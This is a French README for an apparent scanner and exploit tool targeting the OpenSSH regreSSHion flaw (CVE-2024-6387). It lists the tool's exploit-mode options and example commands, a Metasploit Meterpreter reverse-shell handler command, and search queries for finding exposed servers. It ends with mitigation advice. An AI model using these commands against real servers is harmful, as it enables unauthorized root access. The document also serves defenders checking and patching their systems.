
Vulnérabilité d'exécution de code à distance non authentifiée dans le serveur OpenSSH (CVE-2024-6387)
CVE-2024-6387.py - PoCL'exploit fonctionne UNIQUEMENT pour les serveurs OpenSSH 32 bits. Cela est dû au fait que le PoC utilise des pointeurs 32 bits ! Il est également connu que certaines versions sont déjà corrigées, et que tous les serveurs ne sont pas vulnérables. Testé sur : Kali Linux, ParrotSec, Ubuntu 22.04
Vulnérabilité d'exécution de code à distance non authentifiée dans le serveur OpenSSH
CVE-2024-6387.py est un outil léger et efficace conçu pour identifier les serveurs exécutant des versions vulnérables d'OpenSSH, ciblant spécifiquement la vulnérabilité regreSSHion (CVE-2024-6387) récemment découverte. Ce script facilite l'analyse rapide de plusieurs adresses IP, noms de domaine et plages réseau CIDR pour détecter d'éventuelles vulnérabilités et garantir la sécurité de votre infrastructure.
Une condition de course dans le gestionnaire de signaux a été trouvée dans le serveur OpenSSH (sshd), où un client ne s'authentifie pas dans les LoginGraceTime secondes (120 par défaut, 600 dans les anciennes versions d'OpenSSH), puis le gestionnaire SIGALRM de sshd est appelé de manière asynchrone. Cependant, ce gestionnaire de signaux appelle diverses fonctions qui ne sont pas sûres en contexte de signal asynchrone, par exemple syslog().
Vous pouvez trouver les détails techniques ici.
La faille, découverte par les chercheurs de Qualys en May 2024, et identifiée sous le numéro CVE-2024-6387, est due à une condition de course dans le gestionnaire de signaux de sshd qui permet à des attaquants distants non authentifiés d'exécuter du code arbitraire en tant que root.
« Si un client ne s'authentifie pas dans les LoginGraceTime secondes (120 par défaut), alors le gestionnaire SIGALRM de sshd est appelé de manière asynchrone et appelle diverses fonctions qui ne sont pas sûres en contexte de signal asynchrone, »
« Un attaquant distant non authentifié peut tirer parti de cette faille pour exécuter du code arbitraire avec les privilèges root. »
Prérequis : python3 récent
### Command Line Arguments
mode: Selects the operation mode. Choices are scan or exploit.
-T, --targets: IP addresses, domain names, file paths containing IP addresses, or CIDR network ranges.
-f, --outputfile: File to save results to (e.g., result.json).
-g, --gracetimecheck: Time in seconds to wait after identifying the version to check for LoginGraceTime mitigation (default: 120 seconds).
-n, --nic: Network NIC (default: 'eth0').
-o, --output: Output format for results (choices: 'csv', 'txt', 'json').
-p, --port: Port number to check or exploit (default: 22).
-s, --speed: Number of threads to increase race condition chances (default: 10).
-t, --timeout: Connection timeout in seconds (default: 1 second).
-H, --resolve-hostnames: Resolve Hostnames
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Tout ce que vous avez à faire est d'exécuter la commande ci-dessous d'abord (changez le {yourip} dans le handler) puis d'exécuter l'exploit avec la commande ci-dessus.
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
L'outil fournit une sortie colorée à la console pour une meilleure lisibilité :
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestion des correctifs : L'application rapide des correctifs disponibles pour OpenSSH est essentielle pour combler la brèche de vulnérabilité. Un patchage rapide garantit que les exploits connus ne peuvent pas être utilisés contre vos systèmes, réduisant ainsi la fenêtre d'opportunité pour les attaquants.
Contrôle d'accès renforcé : Limiter l'accès SSH via des contrôles réseau ajoute une couche de défense supplémentaire. Cette approche minimise l'exposition aux attaquants potentiels en restreignant les connexions SSH aux seuls réseaux ou adresses IP autorisés. La mise en œuvre d'outils tels que les règles de pare-feu ou l'utilisation de VPN pour un accès sécurisé peut appliquer efficacement ces restrictions.
Segmentation du réseau : Diviser votre réseau en segments aide à contenir l'impact d'une éventuelle violation. En segmentant les systèmes critiques et les données sensibles des parties les moins critiques de votre réseau, vous réduisez le risque de mouvement latéral par les attaquants. Cette segmentation peut être complétée par des contrôles d'accès stricts et une surveillance pour détecter et répondre à toute tentative non autorisée de franchir ces segments.
Systèmes de détection d'intrusion (IDS) : Le déploiement d'IDS ou de systèmes de prévention d'intrusion (IPS) permet une surveillance en temps réel du trafic réseau et des journaux système. Ces systèmes peuvent détecter les activités suspectes et les tentatives d'exploitation potentielles associées à la vulnérabilité regreSSHion. Les alertes déclenchées par ces systèmes permettent une enquête et une atténuation rapides avant que des dommages importants ne surviennent.
Surveillance des tentatives d'exploitation : La surveillance continue des journaux réseau et système est cruciale. Recherchez tout schéma ou activité inhabituel pouvant indiquer une tentative d'exploitation de la vulnérabilité OpenSSH. Cette approche proactive aide à identifier et à répondre aux menaces avant qu'elles ne puissent causer des dommages.